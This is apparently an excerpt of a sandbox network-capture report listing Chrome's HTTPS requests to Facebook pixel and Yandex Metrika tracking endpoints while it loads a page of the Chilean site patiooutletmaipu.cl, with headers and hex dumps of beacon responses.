2025-01-10 19:49:37 UTC	969	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: not-navigation-source, trigger, event-source Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:37 UTC	795	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7458376397500194788", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7458376397500194788"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2025-01-10 19:49:37 UTC	1834	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 77 61 73 6d 2d 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 67 6f Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com .facebook.com .fbcdn.net;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'wasm-unsafe-eval' https://*.go
2025-01-10 19:49:37 UTC	1673	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 3d 28 73 65 6c 66 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), browsing-topics=(self), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), c
2025-01-10 19:49:37 UTC	78	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 43PNGIHDRIDATxc-IENDB`0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.17	49763	77.88.21.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:37 UTC	898	OUT	GET /sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.5SzGDd9k7BJ0JsXzcaxkxWTH_gz3Mc9Fvju8hoIj4wD-bNCXGTjQwletmDtTbSl2.WvQMpOv10FY1opxfV0flPpnFaIU%2C HTTP/1.1 Host: mc.yandex.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yandexuid=4946145631736538575; yashr=9555464931736538575
2025-01-10 19:49:38 UTC	673	IN	HTTP/1.1 302 Moved temporarily Connection: Close Date: Fri, 10 Jan 2025 19:49:38 GMT Location: https://mc.yandex.com/sync_cookie_image_decide?token=10611.JUF1MuFmiPyXUm6a1MGVEyQu2AO5moUOd2gL-lv6Tu7uTtcczDwA_gJoVPe5P3XwqlxSbVa49buIFyXpVKKBlYQdmxwHPu4Ql4ug-i58flYmL5AYtUjxT1NSgqYQu7LMJBX37AM4GChZwoeMgYqGO9RO4fV1vcMeCU6ngQgz914bA2v6Yzo3qxAQIV8hBzU06pnt_qkkOf7izUOX-8YlBVdZM4XWKv0PMmWzSggnusE%2C.bd5VTRoSpAFtzdtuQKoJYfqEvyw%2C Set-Cookie: sync_cookie_csrf=2258110293fake; Expires=Fri, 10-Jan-2025 19:59:38 GMT; Domain=.mc.yandex.ru; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 Transfer-Encoding: chunked X-XSS-Protection: 1; mode=block
2025-01-10 19:49:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49764	87.250.251.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:37 UTC	550	OUT	GET /metrika/advert.gif HTTP/1.1 Host: mc.yandex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; i=ok4uL17sX+UEqNiOYkLeLaeAzE4EFeawswJCkRFwpxfC7HNGUXhiXu3L8INqwvGTb9RXkWBBiXl4JlMg2Uc3o5uQqsQ=; yandexuid=7399204401736538576; yashr=2728598011736538576
2025-01-10 19:49:38 UTC	832	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:38 GMT ETag: "677fcb03-2b" Expires: Fri, 10 Jan 2025 20:49:38 GMT Last-Modified: Thu, 09 Jan 2025 13:11:31 GMT Set-Cookie: _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; domain=.yandex.com; path=/; expires=Mon, 08 Jan 2035 19:49:38 GMT; secure Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-01-10 19:49:38 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49765	87.250.250.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:38 UTC	1832	OUT	GET /watch/99162160?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Maip% [TRUNCATED] Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; i=ok4uL17sX+UEqNiOYkLeLaeAzE4EFeawswJCkRFwpxfC7HNGUXhiXu3L8INqwvGTb9RXkWBBiXl4JlMg2Uc3o5uQqsQ=; yandexuid=7399204401736538576; yashr=2728598011736538576
2025-01-10 19:49:38 UTC	2912	IN	HTTP/1.1 302 Moved temporarily Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://patiooutletmaipu.cl Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Date: Fri, 10 Jan 2025 19:49:38 GMT Expires: Fri, 10-Jan-2025 19:49:38 GMT Last-Modified: Fri, 10-Jan-2025 19:49:38 GMT Location: /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet [TRUNCATED] Pragma: no-cache Set-Cookie: yabs-sid=2548642991736538578; Path=/; SameSite=None; Secure Set-Cookie: yandexuid=7399204401736538576; Expires=Sat, 10-Jan-2026 19:49:38 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: yuidss=7399204401736538576; Expires=Sat, 10-Jan-2026 19:49:38 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: ymex=1768074578.yrts.1736538578; Expires=Sat, 10-Jan-2026 19:49:38 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: receive-cookie-deprecation=1; Expires=Sat, 10-Jan-2026 19:49:38 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure; HttpOnly; Partitioned Set-Cookie: bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi; Expires=Sat, 10-Jan-2026 19:49:38 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 Transfer-Encoding: chunked X-XSS-Protection: 1; mode=block
2025-01-10 19:49:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49767	157.240.251.35	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:38 UTC	615	OUT	GET /tr/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:38 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=10, mss=1392, tbw=3405, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 10 Jan 2025 19:49:38 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49768	157.240.251.35	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:38 UTC	652	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:38 UTC	747	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7458376401720141178", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7458376401720141178"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2025-01-10 19:49:38 UTC	1834	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 77 61 73 6d 2d 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 67 6f Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com .facebook.com .fbcdn.net;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'wasm-unsafe-eval' https://*.go
2025-01-10 19:49:38 UTC	1730	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 62 72 6f 77 73 69 6e 67 2d 74 6f 70 69 63 73 3d 28 73 65 6c 66 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), browsing-topics=(self), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49770	87.250.250.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:38 UTC	2276	OUT	GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Mai [TRUNCATED] Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sync_cookie_csrf=2365612593fake; i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; yashr=5031234511736538577; yabs-sid=2548642991736538578; yandexuid=7399204401736538576; yuidss=7399204401736538576; ymex=1768074578.yrts.1736538578; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi
2025-01-10 19:49:39 UTC	818	IN	HTTP/1.1 200 Ok Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://patiooutletmaipu.cl Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Content-Length: 603 Content-Type: application/json; charset=utf-8 Date: Fri, 10 Jan 2025 19:49:38 GMT Expires: Fri, 10-Jan-2025 19:49:38 GMT Last-Modified: Fri, 10-Jan-2025 19:49:38 GMT Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2025-01-10 19:49:39 UTC	603	IN	Data Raw: 7b 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 61 75 74 6f 5f 67 6f 61 6c 73 22 3a 30 2c 22 62 75 74 74 6f 6e 5f 67 6f 61 6c 73 22 3a 30 2c 22 63 5f 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 2c 22 66 6f 72 6d 5f 67 6f 61 6c 73 22 3a 30 2c 22 70 63 73 22 3a 22 31 22 2c 22 77 65 62 76 69 73 6f 72 22 3a 7b 22 61 72 63 68 5f 74 79 70 65 22 3a 22 6e 6f 6e 65 22 2c 22 64 61 74 65 22 3a 22 32 30 32 34 2d 31 32 2d 32 32 20 30 31 3a 32 38 3a 32 35 22 2c 22 66 6f 72 6d 73 22 3a 31 2c 22 72 65 63 70 22 3a 22 31 2e 30 30 30 30 30 22 7d 2c 22 73 62 70 22 3a 20 7b 22 61 22 3a 22 36 32 44 45 7a 79 66 61 64 46 78 6c 51 7a 72 2b 48 51 4e 50 42 52 71 65 58 31 78 45 72 56 78 51 37 6c 57 6d 45 32 4d 6e 73 6e 68 34 68 70 36 30 4b 78 2b 57 76 6a 37 44 71 62 46 78 61 36 37 68 22 Data Ascii: {"settings":{"auto_goals":0,"button_goals":0,"c_recp":"1.00000","form_goals":0,"pcs":"1","webvisor":{"arch_type":"none","date":"2024-12-22 01:28:25","forms":1,"recp":"1.00000"},"sbp": {"a":"62DEzyfadFxlQzr+HQNPBRqeX1xErVxQ7lWmE2Mnsnh4hp60Kx+Wvj7DqbFxa67h"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49771	87.250.250.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
